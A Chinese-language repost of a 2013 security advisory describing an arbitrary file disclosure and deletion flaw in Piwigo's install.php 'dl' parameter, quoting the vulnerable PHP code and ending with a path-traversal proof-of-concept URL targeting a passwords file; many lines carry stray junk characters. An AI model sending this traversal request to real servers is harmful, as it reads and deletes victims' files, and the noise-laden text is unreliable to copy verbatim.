Piwigo任意文件泄露和任意文件删除漏洞

admin

Piwigo是用PHP编写的相册脚本。

3 R! n/ P  k& @4 }9 y( x* G" j/ KPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
====================================================================
/install.php:
-------------
+ |0 X" A& z! _; f8 r4 B0 ^113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
- }, c2 R; `; E7 v- h1 P114: {
* ^- a- \; k! V! ^/ m/ B+ O115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
% ]% O% ~6 Y+ q" b/ y. _; N( d5 }116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
6 W* w2 r1 o' p4 A: M118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
! _& i3 v5 Z( t0 C, H! ?121:   echo file_get_contents($filename);
122:   unlink($filename);
  c, |/ X0 }5 `4 ~: v3 m123:   exit();
124: }
====================================================================
6 ^/ o: J5 `$ d0 w
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
0 U$ t( z# y  _9 O9 k2 v( {           PHP 5.4.4
. r" q: P$ q/ v$ X- K' N9 _           MySQL 5.5.25a

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
: Z+ F6 i- j8 f* j  L$ X, E                            @zeroscience
; A8 Q) u8 K* \* K1 I
Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
5 ~& y3 ^1 m7 e+ O8 bVendor Patch: http://piwigo.org/bugs/view.php?id=2843
2 D  f2 v  x8 P7 [
15.02.2013

--
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt

; r9 Z2 r) p7 X5 a% ?5 Y( s8 F: i